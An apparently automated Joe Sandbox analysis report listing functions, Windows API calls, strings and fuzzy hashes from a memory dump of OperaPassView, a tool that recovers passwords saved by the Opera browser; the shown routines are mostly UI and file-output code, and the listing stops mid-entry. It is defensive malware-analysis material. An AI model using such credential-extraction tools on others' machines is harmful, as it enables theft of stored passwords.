Opcode Fuzzy Hash: 29b7007dc27532f12ac5d86aa4f19c13ccb3944361463df0eaac2def0b3d2e6a
Instruction Fuzzy Hash: 0F11AB73448345AAD720DB91D445ACB73DCEB94314F10C93FF548E21C1EB78D25A8B9A

Function 004047EF Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,?,?,0040138B,?,?,?,?,0040E9E0,0000000C), ref: 00404824
memset.MSVCRT ref: 00404835
memcpy.MSVCRT(00410280,?,00000000,00000000,00000000,00000000,00000000,?,?,0040138B,?,?,?,?,0040E9E0,0000000C), ref: 00404841
??3@YAXPAX@Z.MSVCRT ref: 0040484E

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: e25d2549f6dab1a7562d81ffe65a948629634f0979137ff2180887f085573f83
Instruction ID: 7f3cbbeba0b97abfd5b2ef5626cf5e3f75e87b7b74b1eee1a654a7845a9fc56c
Opcode Fuzzy Hash: e25d2549f6dab1a7562d81ffe65a948629634f0979137ff2180887f085573f83
Instruction Fuzzy Hash: DC116DB62146019FD328DF2DC881A26F7E5EFD8300B20CD2EE59A97381D735E801CB64

Function 0040A406 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A432

Part of subcall function 004042BC: _snwprintf.MSVCRT ref: 00404301
Part of subcall function 004042BC: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 00404311

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0040A45B
memset.MSVCRT ref: 0040A465
GetPrivateProfileStringW.KERNEL32(?,?,0040C3F0,?,00002000,?), ref: 0040A487

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 22f5d59bff97f869856556b5e760ba140d4e58d9a9b7cfbb3677f7c58657b990
Instruction ID: 94bb197b7141ad7f05964ad995fa54540d22cb66ee77c7832990cf404167c01c
Opcode Fuzzy Hash: 22f5d59bff97f869856556b5e760ba140d4e58d9a9b7cfbb3677f7c58657b990
Instruction Fuzzy Hash: 1711CEB2900119AFDF115F60EC06E9E7BB8EF04710F10017AFF04B20A0E6319A60DBAD

Function 00407769 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004049DF: GetModuleHandleW.KERNEL32(00000000,00000400,?,004020A6,OperaPassView), ref: 00404A1E
Part of subcall function 004049DF: LoadStringW.USER32(00000000,00000006,?,00000400), ref: 00404AB7
Part of subcall function 004049DF: memcpy.MSVCRT(00000000,00000002,?,004020A6,OperaPassView), ref: 00404AF7

_snwprintf.MSVCRT ref: 00407796
SendMessageW.USER32(?,0000040B,00000000,?), ref: 004077FB

Part of subcall function 004049DF: wcscpy.MSVCRT ref: 00404A60
Part of subcall function 004049DF: wcslen.MSVCRT ref: 00404A7E
Part of subcall function 004049DF: GetModuleHandleW.KERNEL32(00000000,?,?,004020A6,OperaPassView), ref: 00404A8C

_snwprintf.MSVCRT ref: 004077C1
wcscat.MSVCRT ref: 004077D4

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: HandleModule_snwprintf$LoadMessageSendStringmemcpywcscatwcscpywcslen
String ID:
API String ID: 822687973-0
Opcode ID: 0552a4ee1fe7cae6563512a282f531b3918f3ba0caa6d02f987acbc20cf991f4
Instruction ID: 597e801b89bc4fa3654148d7d39f706251bc5a95df630e696ebe74f71ef7d3bb
Opcode Fuzzy Hash: 0552a4ee1fe7cae6563512a282f531b3918f3ba0caa6d02f987acbc20cf991f4
Instruction Fuzzy Hash: C6014DB15007046AE720F775CD8AF6B73ACDB40704F04047BB719F61C2D639A9554AAD

Function 00401E31 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401E56
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00401E73
strlen.MSVCRT ref: 00401E85
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00401E96

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: adc9852e0b1febc2202ee91c46c3e0fdf9a531db0be14c9f292d03bd11a29de5
Instruction ID: 16c8af1d8422c26c0dc26ccbde34051a2b18808995f593d78c619f526c527117
Opcode Fuzzy Hash: adc9852e0b1febc2202ee91c46c3e0fdf9a531db0be14c9f292d03bd11a29de5
Instruction Fuzzy Hash: 0DF0F9B780122CBEFB05ABD49DC9DEB77ACDB04254F0001B6B719E2092D6749E44CBA9

Function 004063AF Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004063D4
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,0040C4E0,?,?,?,?,?,00401FB3), ref: 004063ED
strlen.MSVCRT ref: 004063FF
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,00401FB3,?,?,00000008), ref: 00406410

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: aab097502b450ab04fa7522ad9fc48b90506c3085b37c64dbdaf70874a839c0e
Instruction ID: f9e3ec41d8263a0523f7ad29eccb5a434dbb2240c91e9d3185599c2a803b3e99
Opcode Fuzzy Hash: aab097502b450ab04fa7522ad9fc48b90506c3085b37c64dbdaf70874a839c0e
Instruction Fuzzy Hash: 8EF0F9B780122CBEEB059BD49DC9DEB77ACDB04254F0001B6B719E2092D6749E44CBA8

Function 0040A343 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 00403E3B: memset.MSVCRT ref: 00403E5A
Part of subcall function 00403E3B: GetClassNameW.USER32(?,00000000,000000FF), ref: 00403E71
Part of subcall function 00403E3B: _wcsicmp.MSVCRT ref: 00403E83

SetBkMode.GDI32(?,00000001), ref: 0040A36A
SetBkColor.GDI32(?,00FFFFFF), ref: 0040A378
SetTextColor.GDI32(?,00C00000), ref: 0040A386
GetStockObject.GDI32(00000000), ref: 0040A38E

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
String ID:
API String ID: 764393265-0
Opcode ID: 9b09ad20a0337de2b5b2026425044bdcc862375dc844c465ffe9bb5204cebf88
Instruction ID: 12fbb9296936337d5408b8751e97f1491dd38fe545a7ce3da3f523143f25607f
Opcode Fuzzy Hash: 9b09ad20a0337de2b5b2026425044bdcc862375dc844c465ffe9bb5204cebf88
Instruction Fuzzy Hash: B8F04F3110021AFFCF112FA5DD0AA9E3F25AF04725F10823AF919B55F1CB799960EA49

Function 00409AFA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00410598,?,00000050,?,004013CF,?), ref: 00409B14
memcpy.MSVCRT(004102C8,?,000002CC,00410598,?,00000050,?,004013CF,?), ref: 00409B26
GetModuleHandleW.KERNEL32(00000000), ref: 00409B39
DialogBoxParamW.USER32(00000000,0000006B,?,Function_00009810,00000000), ref: 00409B4D

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 0ad54631e455bc40c9bc3f9a8f680d40ba5a2de016384f6f8a677ee17f95a5d3
Instruction ID: c0de872c080c53e53b11d38064c8daf66136313e004b0b3f38d9abbee202b5ff
Opcode Fuzzy Hash: 0ad54631e455bc40c9bc3f9a8f680d40ba5a2de016384f6f8a677ee17f95a5d3
Instruction Fuzzy Hash: DFF08276690720FBD7616BA4AC0AB967A50E745B15F10C57AF301B61E1C3F508919FCC

Function 0040BA82 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 0040BA8C
??3@YAXPAX@Z.MSVCRT(?), ref: 0040BA9C
??3@YAXPAX@Z.MSVCRT(?), ref: 0040BAAC
??3@YAXPAX@Z.MSVCRT(?), ref: 0040BABC

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 65f5870ce9b62acd6e5566cf8349cdebd7e237696bb969b904447126deb3198b
Instruction ID: e62393db456745206b1eac394a25b361b16cb1bc4ee48270208fb90aee829c93
Opcode Fuzzy Hash: 65f5870ce9b62acd6e5566cf8349cdebd7e237696bb969b904447126deb3198b
Instruction Fuzzy Hash: 66E01A607003012ADA10AB7EB980B42239CDA84740318C83FB608E76E2EB3CC84099BC

Function 0040845B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000010,00000000,00000000), ref: 0040848C

Strings

@, xrefs: 0040851E, 00408538, 00408524
f5@, xrefs: 00408613

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MessageSend
String ID: f5@$@
API String ID: 3850602802-1863846301
Opcode ID: 5fd78c676e631c3709107cb9d65915e65d3b6653e538a2b2a1514ac77431e71f
Instruction ID: 70b6a3239b96f3e75da7ea75169189ebfa639c78ed79f00fa946d4b3eb5f7a99
Opcode Fuzzy Hash: 5fd78c676e631c3709107cb9d65915e65d3b6653e538a2b2a1514ac77431e71f
Instruction Fuzzy Hash: 7B518330A00205AADF60BB218945F9A73A5AB10324F10C53FF4997F2E1DEBC59C18F4D

Function 0040641A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00406449
wcschr.MSVCRT ref: 00406457

Part of subcall function 004063AF: memset.MSVCRT ref: 004063D4
Part of subcall function 004063AF: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,0040C4E0,?,?,?,?,?,00401FB3), ref: 004063ED
Part of subcall function 004063AF: strlen.MSVCRT ref: 004063FF
Part of subcall function 004063AF: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,00401FB3,?,?,00000008), ref: 00406410

Strings

", xrefs: 00406493

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcschr$ByteCharFileMultiWideWritememsetstrlen
String ID: "
API String ID: 3380400052-123907689
Opcode ID: 42c06210ac77bc4897aff97fd64da6e708580b768c0c9cafe00fed859f45ae67
Instruction ID: 2b2664d594544958fba6627fb4497dfc09889f1935fb328af1c9ed3c8cb62cbb
Opcode Fuzzy Hash: 42c06210ac77bc4897aff97fd64da6e708580b768c0c9cafe00fed859f45ae67
Instruction Fuzzy Hash: BB316D71904218AFDF14AFA5CC419EEB7B8EF44324F21812BE811B71D1DB789A529A9C

Function 004078E5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

qsort.MSVCRT ref: 004079B4

Part of subcall function 004047CA: _wcsicmp.MSVCRT ref: 004047E0

Strings

/nosort, xrefs: 0040796A
/sort, xrefs: 004078F9

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _wcsicmpqsort
String ID: /nosort$/sort
API String ID: 1579243037-1578091866
Opcode ID: 28e8b9eeae73f08da568e07234b3670defb4d434af77f155d27e67a09f67c443
Instruction ID: c613dfa10845265b9001ee98788bfcdc0d385a2ee53f21912ea71c72832a41b0
Opcode Fuzzy Hash: 28e8b9eeae73f08da568e07234b3670defb4d434af77f155d27e67a09f67c443
Instruction Fuzzy Hash: 4921F2B1B04501AFD714AF36C880E56B3AAFFA5314B11017EE615BB2D1CB79B811CB9A

Function 004042BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00404301
memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 00404311

Strings

%2.2X , xrefs: 004042F6

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 6a23412141f1501ece79e54fe078a7de92c685d9ae7c75e59bd685d64d1c1fe3
Instruction ID: 773ebf4e3c3b42aeb52fcb9d4681768b59ff38d30494755ab7908b074b5742af
Opcode Fuzzy Hash: 6a23412141f1501ece79e54fe078a7de92c685d9ae7c75e59bd685d64d1c1fe3
Instruction Fuzzy Hash: E5118671A00208BFDB10DFE8C8819DF73B4FB44314F104476EE14E7181D6789A058BD9

Function 00406646 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00406674
_snwprintf.MSVCRT ref: 00406694

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

Strings

%%-%d.%ds , xrefs: 00406669

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _snwprintf$FileWritewcslen
String ID: %%-%d.%ds
API String ID: 889019245-2008345750
Opcode ID: 9b360df86315a4d0fc8687c9d094769c5241e7bd0f342b486d010c923cc8926d
Instruction ID: 279801148e76b0a9075c42a2eba3bd7f9e0035b97abbdc6c8671880a9300571e
Opcode Fuzzy Hash: 9b360df86315a4d0fc8687c9d094769c5241e7bd0f342b486d010c923cc8926d
Instruction Fuzzy Hash: 8C019271100204AFC710AF59CC82D5AB7ADFB48318B11483EF946AB192D676F8519B68

Function 00405672 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040568B
SendMessageW.USER32((8@,0000105F,00000000,?), ref: 004056B9

Strings

(8@, xrefs: 004056AF

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MessageSendmemset
String ID: (8@
API String ID: 568519121-2824614689
Opcode ID: b9b052f7272240faca1b1630d4f7d6d0b9aad55754f91eff3e97a74e79ecb4b9
Instruction ID: 6449b0a7daa4ed240facb274c3a900b9879f3f9cf80db6cf5f8cf744cfdf067d
Opcode Fuzzy Hash: b9b052f7272240faca1b1630d4f7d6d0b9aad55754f91eff3e97a74e79ecb4b9
Instruction Fuzzy Hash: 5E01A275800609AFDB208F45C885AAFB7B8FF81745F50482AE844BB281D3359945CB79

Function 00404DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00404E38
SetWindowTextW.USER32(?,?), ref: 00404E68

Strings

caption, xrefs: 00404E4D

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: TextWindowmemset
String ID: caption
API String ID: 2590972913-4135340389
Opcode ID: bd9d412dde3222f547a0bd8750d1c8608e205217c0b73fdaf50cdbc3768e5135
Instruction ID: 2db4a85a8052f98b084067700c6c2493da5e0403811a3532aa4b5108901f4221
Opcode Fuzzy Hash: bd9d412dde3222f547a0bd8750d1c8608e205217c0b73fdaf50cdbc3768e5135
Instruction Fuzzy Hash: 8BF0A9B2D40314AAEB206B55DC4ABCA366CEB44754F0000B6BB04B61D2D7B8AD80CBDC

Function 004017C3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,?), ref: 004017EC
memset.MSVCRT ref: 004017FF

Strings

WinPos, xrefs: 00401812

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: PlacementWindowmemset
String ID: WinPos
API String ID: 4036792311-2823255486
Opcode ID: f64d20f70bd67578458b35ede7a69f7856e7be3fe24160ed828cbcd4216c948e
Instruction ID: 813b7da2fed051c357424ccd667ed75c52a95f27b445824e5a4df21e48fe23d2
Opcode Fuzzy Hash: f64d20f70bd67578458b35ede7a69f7856e7be3fe24160ed828cbcd4216c948e
Instruction Fuzzy Hash: 9AF06271600204EFEB04EF95C889F6A33A8EF04700F144079E909EB1D1E7B8AA00CB69

Function 00405567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Part of subcall function 00403CE2: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040556D,00000000,00405420,?,00000000,00000208), ref: 00403CED

wcsrchr.MSVCRT ref: 00405570
wcscat.MSVCRT ref: 00405586

Strings

_lng.ini, xrefs: 00405580

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 70b132c861c53a5e80b6cd8212b27e2896445419851ca4d991723d1737cddbc7
Instruction ID: 96025fcac0a5ccfddca65140341af9a58aeb290220dbc56d4301e319b9ea4a6a
Opcode Fuzzy Hash: 70b132c861c53a5e80b6cd8212b27e2896445419851ca4d991723d1737cddbc7
Instruction Fuzzy Hash: 1FC01262A46B2028E21232225E03B4A124CDF42714F60083BFC00750C6FFBEA65940AE

Function 004056F8 Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 004040CA: memset.MSVCRT ref: 004040D8

??2@YAPAXI@Z.MSVCRT(00000014,00000000,00000000,00000000,00408B1D,00000000,?,?,?,00408DCA), ref: 00405715
??2@YAPAXI@Z.MSVCRT(00000014,00000000,00000000,00408B1D,00000000,?,?,?,00408DCA), ref: 0040573C
??2@YAPAXI@Z.MSVCRT(00000014,00000000,00000000,00408B1D,00000000,?,?,?,00408DCA), ref: 0040575D
??2@YAPAXI@Z.MSVCRT(00000014,00000000,00000000,00408B1D,00000000,?,?,?,00408DCA), ref: 0040577E

Memory Dump Source

